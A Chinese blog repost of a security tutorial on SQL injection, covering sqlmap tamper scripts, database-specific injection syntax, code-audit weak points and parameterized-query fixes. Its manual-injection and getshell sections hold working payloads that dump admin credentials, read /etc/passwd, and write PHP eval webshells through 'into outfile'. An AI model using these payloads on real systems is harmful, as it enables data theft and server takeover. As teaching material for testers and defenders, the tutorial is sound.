SQL注入关联分析

最新推荐文章于 2024-05-09 16:41:33 发布
最新推荐文章于 2024-05-09 16:41:33 发布
阅读量85 收藏
点赞数
文章标签： php python 数据库
原文链接：https://juejin.im/post/5aa119d76fb9a028d82b5964
版权

sm0nk · 2016/06/24 10:48

Author：[email protected]

0x00 序

打开亚马逊，当挑选一本《Android4高级编程》时，它会不失时机的列出你可能还会感兴趣的书籍，比如Android游戏开发、Cocos2d-x引擎等，让你的购物车又丰富了些，而钱包又空了些。关联分析，即从一个数据集中发现项之间的隐藏关系。

在Web攻防中，SQL注入绝对是一个技能的频繁项，为了技术的成熟化、自动化、智能化，我们有必要建立SQL注入与之相关典型技术之间的关联规则。在分析过程中，整个规则均围绕核心词进行直线展开，我们简单称之为“线性”关联。以知识点的复杂性我们虽然称不上为神经网络，但它依然像滚雪球般对知识架构进行完善升级，所以也可称之为雪球技术。

本文以SQL注入为核心，进行的资料信息整合性解读，主要目的有：

  1. 为关联分析这门科学提供简单认知
  2. 为初级安全爱好学习者提供参考，大牛绕过
  3. 分析各关键点的区别与联系
  4. 安全扫盲

本文结构如下：

PS：文章中使用了N多表格形式，主要是为了更好的区别与联系，便于关联分析及对比。

0x01 基本科普

1.1 概念说明

说明：通过在用户可控参数中注入SQL语法，破坏原有SQL结构，达到编写程序时意料之外结果的攻击行为。wiki.wooyun.org/web:sql

影响：数据库增删改查、后台登录、getshell

修复：

  1. 使用参数检查的方式，拦截带有SQL语法的参数传入应用程序
  2. 使用预编译的处理方式处理拼接了用户参数的SQL语句
  3. 在参数即将进入数据库执行之前，对SQL语句的语义进行完整性检查，确认语义没有发生变化
  4. 在出现SQL注入漏洞时，要在出现问题的参数拼接进SQL语句前进行过滤或者校验，不要依赖程序最开始处防护代码
  5. 定期审计数据库执行日志，查看是否存在应用程序正常逻辑之外的SQL语句执行

1.2 注入分类

  1. 按照数据包方式分类
    1. Get post cookie auth
  2. 按照呈现形式
    1. 回显型注入
      1. Int string search
    2. 盲注
      1. Error bool time
    3. 另类注入
      1. 宽字节注入
      2. http header 注入
      3. 伪静态
      4. Base64变形

0x02 神器解读

2.1 何为神器

使用方法，参见乌云知识库。

  1. sqlmap用户手册
  2. sqlmap用户手册[续]
  3. sqlmap进阶使用

Tamper 概览

脚本名称作用
apostrophemask.py用utf8代替引号
equaltolike.pylike 代替等号
space2dash.py绕过过滤‘=’ 替换空格字符（”），（'' – '）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）
greatest.py绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py绕过过滤双引号，替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py空格替换为其它空符号
base64encode.py用base64编码替换
space2mssqlhash.py替换空格
modsecurityversioned.py过滤空格，包含完整的查询版本注释
space2mysqlblank.py空格替换其它空白符号(mysql)
between.py用between替换大于号（>）
space2mysqldash.py替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters
space2randomblank.py代替空格字符（“”）从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALL SELECT UNION SELECT
charencode.pyurl编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPC addslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’

一些妙用:

  1. 避免过多的错误请求被屏蔽 参数：--safe-url,--safe-freq
  2. 二阶SQL注入 参数：--second-order
  3. 从数据库服务器中读取文件 参数：--file-read
  4. 把文件上传到数据库服务器中 参数：--file-write,--file-dest
  5. 爬行网站URL 参数：--crawl
  6. 非交互模式 参数：--batch
  7. 测试WAF/IPS/IDS保护 参数：--identify-waf
  8. 启发式判断注入 参数：--smart（有时对目标非常多的URL进行测试，为节省时间，只对能够快速判断为注入的报错点进行注入，可以使用此参数。）
  9. -technique
    • B：基于Boolean的盲注(Boolean based blind)
    • Q：内联查询(Inline queries)
    • T：基于时间的盲注(time based blind)
    • U：基于联合查询(Union query based)
    • E：基于错误(error based)
    • S：栈查询(stack queries)

2.2 源码精读

流程图

目前还未看完，先摘抄一部分（基于时间的盲注）讲解：

测试应用是否存在SQL注入漏洞时，经常发现某一潜在的漏洞难以确认。这可能源于多种原因，但主要是因为Web应用未显示任何错误，因而无法检索任何数据。

对于这种情况，要想识别漏洞，向数据库注入时间延迟并检查服务器响应是否也已经延迟会很有帮助。时间延迟是一种很强大的技术，Web服务器虽然可以隐藏错误或数据，但必须等待数据库返回结果，因此可用它来确认是否存在SQL注入。该技术尤其适合盲注。

使用了基于时间的盲注来对目标网址进行盲注测试，代码如下：

#!python
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
    # Perform the test's request
    trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
    if trueResult:
        # Confirm test's results
        trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
        if trueResult:
            infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
            logger.info(infoMsg)
            injectable = True
复制代码

重点注意Request.queryPage函数，将参数timeBasedCompare设置为True，所以在Request.queryPage函数内部,有这么一段代码：

#!python
if timeBasedCompare:
    return wasLastRequestDelayed()
复制代码

而函数wasLastRequestDelayed()的功能主要是判断最后一次的请求是否有明显的延时，方法就是将最后一次请求的响应时间与之前所有请求的响应时间的平均值进行比较，如果最后一次请求的响应时间明显大于之前几次请求的响应时间的平均值，就说明有延迟。

wasLastRequestDelayed函数的代码如下：

#!python
def wasLastRequestDelayed():
    """
    Returns True if the last web request resulted in a time-delay
    """
    deviation = stdev(kb.responseTimes)
    threadData = getCurrentThreadData()
    if deviation:
        if len(kb.responseTimes) < MIN_TIME_RESPONSES:
            warnMsg = "time-based standard deviation method used on a model "
            warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
            logger.warn(warnMsg)
        lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation
        retVal = (threadData.lastQueryDuration >= lowerStdLimit)
        if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:
            adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
        return retVal
    else:
        return (threadData.lastQueryDuration - conf.timeSec) >= 0
复制代码

每次执行http请求的时候，会将执行所响应的时间append到kb.responseTimes列表中，但不包括time-based blind所发起的请求。

从以下代码就可以知道了，当timeBasedCompare为True（即进行time-based blind注入检测）时，直接返回执行结果，如果是其他类型的请求，就保存响应时间。

#!python
if timeBasedCompare:
    return wasLastRequestDelayed()
elif noteResponseTime:
    kb.responseTimes.append(threadData.lastQueryDuration)
复制代码

另外，为了确保基于时间的盲注的准确性，sqlmap执行了两次queryPage。

如果2次的结果都为True，那么就说明目标网址可注入，所以将injectable 设置为True。

0x03 数据库特性

3.1 Web报错关键字

  • Microsoft OLE DB Provider
  • ORA-
  • PLS-
  • Error in your SQL Syntax
  • SQL Error
  • Incorrect Syntax near
  • Failed Mysql
  • Unclosed Quotation Mark
  • JDBC/ODBC Driver

3.2 版本查询

  • Mysql: /?param=1 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
  • MSSQL: /?param=1 and(1)=convert(int,@@version)--
  • Sybase: /?param=1 and(1)=convert(int,@@version)--
  • Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v\_$version where rownum=1)||chr(62))) from dual)—
  • PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

3.3 SQL方言差异

DB连接符行注释唯一的默认表变量和函数
MSSQL%2B（URL+号编码）(e.g. ?category=sho’%2b’es)--@@PACK_RECEIVED
MYSQL%20 （URL空格编码）#CONNECTION_ID()
Oracle||--BITAND(1,1)
PGsql||--getpgusername()
Access“a” & “b”N/Amsysobjects

3.4 SQL常用语句

SQL常用语句

内容MSSQLMYSQLORACLE
查看版本select @@versionselect @@version select version()Select banner from v$version;
当前用户select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID;select user(); select system_user();Select user from dual
列出用户select name from master..syslogins;select user from mysql.user;Select username from all_users ORDER BY username; Select username from all_users;
当前库select DB_NAME();select database();Select global_name from global_name;
列出数据库select name from master..sysdatabases;select schema_name from information_schema.schemata;Select ower,table_name from all_users; #列出表明
当前用户权限select is_srvolemenber(‘sysadmin’);select grantee, privilege_type,is_grantable from information schema.user privileges;Select * from user role_privs; Select * from user_sys_privs;
服务器主机名select @@servername;/Select sys_context(‘USERENV’,’HOST’) from dual;

3.5 盲注函数

数据MSSQLMysqloracle
字符串长度LEN()LENGTH()LENGTH()
从给定字符串中提取子串SUBSTRING(string,offset,length)SELECT SUBSTR(string,offset,length)SELECT SUBSTR(string,offset,length) From dual
字符串(‘ABC’)不带单引号的表示方式SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43)Select char(65,66,67)Select chr(65)||chr(66)+chr(67) from dual
触发延时WAITFOR DELAY ‘0:0:9’BENCHMARK(1000000,MD5(“HACK”)) Sleep(10)BEGIN DBMS_LOCK.SLEEP(5);END; --(仅PL/SQL注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST()
IF语句If (1=1) select ‘A’ else select ‘B’SELECT if(1=1,’A’,’B’)/

PS：SQLMAP 针对Oracle注入时，使用了比较费解的SUBSTRC,好多时候得中转更改为SUBSTR.

0x04 手工注入

4.1 应用场景

  1. 快速验证（概念性证明）
  2. 工具跑不出来了
    1. 的确是注入，但不出数据
    2. 特征不规律，挖掘规律，定制脚本
  3. 绕过过滤
    1. 有WAF，手工注入
    2. 有过滤，搞绕过
  4. 盲注类

4.2 常用语句

数据库 语句(大多需要配合编码)
Oracle oder by N
# 爆出第一个数据库名
and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual
# 依次爆出所有数据库名,假设第一个库名为first_dbname
and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual
爆出表名
and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句，如下：
and (select column_name from user_tab_columns where column_name like '%25pass%25')<0
爆出表tablename中的第一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual
依次下一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual

若为基于时间或者基于bool类型盲注，可结合substr 、ASCII进行赋值盲测。
若屏蔽关键函数，可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。
Mysql #正常语句
192.168.192.128/sqltest/news.php?id=1
#判断存在注入否
192.168.192.128/sqltest/news.php?id=1 and 1=2
#确定字段数 order by
192.168.192.128/sqltest/news.php?id=-1 order by 3
#测试回显字段
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3
#测试字段内容
192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3
192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
#查询当前库下所有表
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#查询admin表下的字段名（16进制）
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
#查询admin表下的用户名密码
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin
#读取系统文件（/etc/passwd，需转换为16进制）
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
#文件写入
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
PS：若权限不足，换个目录
MSSQL PS：回显型请查阅参考资料的链接，这里主要盲注的语法。
#爆数据库版本（可先测长度）
aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0
ps:在范围界定时，可利用二分查找结合大于小于来利用；亦可直接赋值脚本爆破，依次类推直至最后一字母。
#爆当前数据库名字
aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
#爆表
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
#爆user表内字段
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0
#爆数据
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

PS:关于注入绕过（bypass），内容偏多、过细，本次暂不归纳。单独一篇

0x05 漏洞挖掘

5.1 黑盒测试

套装组合

  1. AWVS类 + sqlmap （手工）
  2. Burp + sqlmapAPI（手工）

减少体力活的工程化

5.2 代码审计

白盒的方式有两种流，一种是检查所有输入，另一种是根据危险函数反向

注入引发的特征点及敏感函数

NO.概要
1$_SERVER未转义
2更新时未重构更新序列
3使用了一个未定义的常量
4PHP自编标签与strip_tags顺序逻辑绕过
5可控变量进入双引号
6宽字节转编码过程
7mysql多表查询绕过
8别名as+反引号可闭合其后语句
9mysql的类型强制转换
10过滤条件是否有if判断进入
11全局过滤存在白名单
12字符串截断函数获取定长数据
13括号包裹绕过
14弱类型验证机制
15WAF或者过滤了and|or的情况可以使用&&与||进行盲注。
16windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”
17二次urldecode注入
18逻辑引用二次注入

1.$_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’]，而$_SERVER并没有转义，造成了注入。

2.update更新时没有重构更新序列，导致更新其他关键字段（金钱、权限）

3.在 php中 如果使用了一个未定义的常量，PHP 假定想要的是该常量本身的名字，如同用字符串调用它一样（CONSTANT 对应 “CONSTANT”）。此时将发出一个 E_NOTICE 级的错误（参考php.net/manual/zh/l…）

4.PHP中自编写对标签的过滤或关键字过滤，应放在strip_tags等去除函数之后，否则引起过滤绕过。

#!php
<?php 
function mystrip_tags($string)
{
    $string = remove_xss($string);
    $string = new_html_special_chars($string);
    $string = strip_tags($string);//remove_xss在strip_tags之前调用，所以很明显可以利用strip_tags函数绕过,在关键字中插入html标记.
    return $string;
}
?>
复制代码

5.当可控变量进入双引号中时可形成webshell因此代码执行使用，${file_put_contents($_GET[f],$_GET[p])}可以生成webshell。

6.宽字节转编码过程中出现宽字节注入

PHP连接MySQL时设置set character_set_client=gbk ,MySQL服务器对查询语句进行GBK转码导致反斜杠\被%df吃掉。

7.构造查询语句时无法删除目标表中不存在字段时可使用mysql多表查询绕过

#!sql
select uid,password from users,admins；
(uid存在于users、password存在于admins）
复制代码

8.mysql中（反引号）能作为注释符，且会自动闭合末尾没有闭合的反引号。无法使用注释符的情况下使用别名as+反引号可闭合其后语句。

9.mysql的类型强制转换可绕过PHP中empty()函数对0的false返回

提交/?test=0axxx  ->  empty($_GET['test'])  =>  返回真
复制代码

但是mysql中提交其0axxx到数字型时强制转换成数字0

10.存在全局过滤时观察过滤条件是否有if判断进入，cms可能存在自定义safekey不启用全局过滤。通过程序遗留或者原有界面输出safekey导致绕过。

#!php
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}
复制代码

11.由于全局过滤存在白名单限定功能，可使用无用参数带入绕过。

$webscan_white_directory='admin|\/dede\/|\/install\/';
复制代码

请求中包含了白名单参数所以放行。

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx
复制代码

12.字符串截断函数获取定长数据，截取\\或\’前一位，闭合语句。

利用条件必须是存在两个可控参数，前闭合，后注入。

13.过滤了空格，逗号的注入，可使用括号包裹绕过。具体如遇到select from（关键字空格判断的正则，且剔除/**/等）可使用括号包裹查询字段绕过。

14.由于PHP弱类型验证机制，导致==、in_array()等可通过强制转换绕过验证。

15.WAF或者过滤了and|or的情况可以使用&&与||进行盲注。

#!sql
http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited
复制代码

16.windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”，分别代表N个任意字符与1个任意字符。

file_get_contents("/images/".$_GET['a'].".jpg");
复制代码

可使用test.php?a=../a<%00访问对应php文件。

17.使用了urldecode 或者rawurldecode函数，则会导致二次解码声场单引号而发生注入。

#!php
<?php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a=' .$a;
echo '<br />';
echo '$b=' .$b;
?>
复制代码

18.逻辑引用，导致二次注入

部分盲点

盲点如下：

  1. 注入点类似id=1这种整型的参数就会完全无视GPC的过滤；
  2. 注入点包含键值对的，那么这里只检测了value，对key的过滤就没有防护；
  3. 有时候全局的过滤只过滤掉GET、POST和COOKIE，但是没过滤SERVER。

附常见的SERVER变量（具体含义自行百度）：

QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE
复制代码

PS：若对注入的代码审计有实际操类演练，参考[email protected]

0x06 安全加固

6.1 源码加固

1.预编译处理

参数化查询是指在设计与数据库链接并访问数据时，在需要填入数值或数据的地方，使用参数来给值。在SQL语句中，这些参数通常一占位符来表示。

MSSQL（ASP.NET）

为了提高sql执行速度，请为SqlParameter参数加上SqlDbType和size属性

#!php
SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
cmd.Connection = conn;
cmd.Parameters.AddWithValue("UserName", "user01");
cmd.Parameters.AddWithValue("Password", "123456");

reader = cmd.ExecuteReader();
reader.Read();
int userId = reader.GetInt32(0);

reader.Close();
conn.Close();
复制代码

PHP

#!php
// 实例化数据抽象层对象
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 对 SQL 语句执行 prepare，得到 PDOStatement 对象
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 绑定参数
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查询
$stmt->execute();
// 获取数据
foreach($stmt as $row) {
var_dump($row);
}
复制代码

JAVA

#!java
java.sql.PreparedStatement prep = connection.prepareStatement(
"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();
复制代码

PS：尽管SQL语句大体相似，但是在不同数据库的特点，可能参数化SQL语句不同，例如在Access中参数化SQL语句是在参数直接以“?”作为参数名，在SQL [email protected]，在MySQL中是参数有“?”前缀，在Oracle中参数以“:”为前缀。

2.过滤函数的使用

  1. addslashes()
  2. mysql_escape_string()
  3. mysql_real_escape_string()
  4. intval()

3.框架及第三方过滤函数与类

  1. JAVA hibernate框架
  2. Others

6.2 产品加固

  • Web应用防火墙——WAF
  • Key:云waf、安全狗、云锁、sqlchop

0x07 关联应用

7.1 Getshell

  1. 注入，查数据，找管理员密码，进后台，找上传，看返回，getshell
  2. PHP MYSQL 类，大权限，知路径，传文件，回shell(上传&命令执行)，OS-SHELL。
  3. MSSQL大权限，知路径，传文件，回shell。结合xp_cmdshell 执行系统命令。
  4. Phpmyadmin getshell （编码）
    1. select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
  5. Union select getshell
    1. and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--

7.2 关联功能点

序号功能点参数
1登录Username password
2HeaderCookie Referer x-forward remote-ip
3查询展示 , 数据写入（表单） , 数据更新id u category price str value
4数据搜素Key
5伪静态（同3），加*
6Mysql不安全配置 , Set character_set_client=gbk%df%27
7传参（横向数据流向、纵向入库流向）Parameter （同3）
8订单类多级交互、重新编辑 , 配送地址、资料编辑二次注入
9APP仍调用WEB API同3
10编码urldecode base64Urldecode() rawurldecode()

0x08 参考资料

weixin_33969116
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sql注入练习工具
11-08
sql注入小工具 测试sql注入 安全类 仅供 学习参考使用
数据库与sql注入的相关知识
时光凉春衫薄的博客
03-20 169
数据库与sql注入的相关知识 sql语句明显是针对数据库的一种操作，既然想通过sql注入的方法来拿取数据那么就要先了解一下如何的去操作数据库，这方面并不需要对数据库有多么的精通但是如果了解掌握了其中的几个关键表那么这个数据库的大门也就打开一半了。   这是一个刚刚安装完的mysql的数据库，默认自带了这三个默认库。 在演示sql注入的实验 之前我们先了解一下数据库的一些知识吧。掌握原理后...
ElasticSearch
Blanklr的博客
10-13 509
ElasticSearch 是非关系型数据库 官网： www.elastic.co，是基于Lucene的搜索服务器 关系型数据库查询的弊端 : 性能低、功能弱 ES是弥补这一缺点而诞生的 1.性能低 模糊查询 一条条的遍历 2.功能弱 存储的都是字符串 不能在商品信息字段中 查询出 含有华为或手机的 倒排索引 将各个文档中的内容进行分词、形成词条。然后记录词条和数据的唯一标识的对应关系，形成的产物。是一个散列图 存储原理 1.在index索引库中 生成数据表，即把所有的文档都进行分词
SQL注入之Access注入 （手工）
adminlalala的博客
04-06 2952
什么是SQL注入？ SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息 ----百度百科 寻找注入点 首先呢，在网站中寻找传递参数的页面，也就是寻找注入点。 判断注入 找到页面（注入...
网络安全之SQL注入深入分析
kali_Ma的博客
12-07 1761
0x00 前言 我们知道代码审计Java的SQL注入主要有两点：参数可控和SQL语句可拼接（没有预编译）。并且我们也清楚修复SQL注入的方式就是预编译，但是可能我们并不清晰内部预编译的具体实现。本文主要从代码层面深入分析三种Java不同数据库框架下的SQL注入以及预编译。 0x01 JDBC SQLi 不使用占位符拼接情况分析 Statement statement = connection.createStatement(); String sql = "select * from user where
sql注入靶场实操
m0_46104808的博客
10-27 1492
sql注入漏洞利用
关于SQL注入及防御
Wang的专栏
06-12 2266
一般攻击者会假设网站有sql注入的漏洞，比如这个查询语句： 攻击者假设这个10是文章的id, 攻击者就会猜测可能是上面的sql语句 页面上输入的参数是10，这时候，就可以拼凑测试，比如在url上拼接 1 ) 判断是否可以注入, 一般而言，如果可以的话页面正常，不报错，但是也有其他情况，如下 这两个都没什么反应，不报错，页面正常，说明后面的and没有起作用 攻击者会猜测可能是字符串存在引号的问题, 继续尝试 这样如果页面出错，那么继续修改 这时候页面不报错 这种情况(恒等正常,恒不等报错)就说明，一
SQL注入入门基础
weixin_51583379的博客
10-19 1040
mysql中存在4个控制权限的表，分别为user表，db表，tables_priv表，columns_priv表， 我当前的版本mysql 5.7.22。mysql权限表的验证过程为：先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在，存在则通过验证。通过身份认证后，进行权限分配，按照user，db，tables_priv，columns_priv的顺序进行验证。
mybatis对象关系映射框架基础、动态SQL、关联关系..zip
04-28
Mabits的动态SQL还允许开发者使用参数化查询，可以防止SQL注入攻击，并增强程序的安全性 学习经常用的几个标签 2.标签 标签是Mabits动态SQL中最常用的一个标签之一，它的作用是根据给定条件包含或排除不同的部分，以...
WEBSAMPSQLINJ：到处都有SQL注入的示例php Web应用程序:)
02-26
用于学习SQL注入的简单示例Web应用程序。 此示例应用程序是用于注册图像文件及其关联信息的成员资格站点。 该示例应用程序包含以下各项： PHP PostgreSQL 阿帕奇 先决条件 码头工人 码头工人组成 网站地图 *SQL...
mybatis 样例，包含xml和annotation方式、关联映射、动态SQL等内容.zip
04-28
Mabits的动态SQL还允许开发者使用参数化查询，可以防止SQL注入攻击，并增强程序的安全性 学习经常用的几个标签 2.标签 标签是Mabits动态SQL中最常用的一个标签之一，它的作用是根据给定条件包含或排除不同的部分，以...
Expression2Sql
01-28
Expression2Sql是一个可以将Expression表达式树解析成...对象化操作，链式编程，支持多表复杂关联查询，任意组装sql，自动生成表别名，参数化赋值，防止sql注入，支持SQLServer、MySQL、Oracle、SQLite等多数据库
Expression解析生成SQL.zip
09-07
Expression自定义生成SQL，可链表、分组、排序、自定义。...对象化操作，链式编程，支持多表复杂关联查询，任意组装sql，自动生成表别名，参数化赋值，防止sql注入，支持SQLServer、MySQL、Oracle、SQLite等多数据库
Django JSONField SQL注入漏洞 复现 & 原理分析
sGanYu
05-04 2335
关于这个漏洞前几天看了很多的文章，其实大部分payload是一样的，都是如何去构造，或者去命令执行复现一下，我一开始也是这样去做的，但是这个漏洞是怎么形成的，对我来说可能一知半解，或者说完全不了解，在后面学习的过程中感觉吃力又去补习了别的知识，比如Django的两个基类，ArrayField、JSONField，Json.objects.filter()和QuerySet相关的知识，包括ORM注入等等 1/漏洞原理 PostgreSQL、SQLite3、MySQL、Oracle，在大部分情况下，以上四种
如何防止WordPress网站内容被抓取
最新发布
AIDigital的博客
05-09 214
最近在检查网站服务器的访问日志的时候，发现了大量来自同一个IP地址的的请求，用站长工具分析确认了我的网站内容确实是被他人的网站抓取了，我第一时间联系了对方网站的服务器提供商投诉了该网站，要求对方停止侵权行为，然而这只能暂时性的解决问题，为了避免以后再有意外发生，我结合了咨询Hostease的技术支持得到的反馈以及自己从网上了解到的信息，做了以下的优化，分享出来希望能对大家有一些帮助。抓取工具在抓取网站内容的时候，需要依赖网站的RSS feed，对RSS feed做一些小的调整，就可以防止内容被抓取。
【Web】CTFSHOW 中期测评刷题记录(1)
uuzeray的博客
05-02 1909
访问./cache/6a992d5529f459a44fee58c733255e86.php，命令执行拿flag。login.php是在./templates下的，而./flag.php与./templates均为web目录。注意到用./template/error.php中存在{{username}}，可以用其cache来写马。这时候重开下靶机再去读./templates/index.php，发现是给了提示的。访问./config/settings.php，命令执行拿到flag。
php利用阿里云短信SDK实现短信发送功能
知码客
05-02 1162
在阿里云控制台的AccessKey管理中，创建或查看AccessKey ID和AccessKey Secret，这是用于API调用的身份凭证。用户在前端接收到短信验证码后，需要在你的系统中进行验证。在实际部署之前，确保在测试环境中充分测试你的短信验证码登录功能。首先，你需要有一个阿里云账号，并在阿里云控制台中开通短信服务（Dysmsapi）。你可以使用Composer来安装阿里云短信服务的PHP SDK。在PHP中，你需要编写一个函数来调用阿里云短信服务API发送短信验证码。
SqlServer关联查询
07-27
在SQL Server中，可以使用关联查询来联合多个表的数据。常见的关联查询包括左连接和右连接。 左连接（left join）是指返回左表中的所有记录，以及与右表中匹配的记录。如果右表中没有匹配的记录，则返回NULL值。 ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值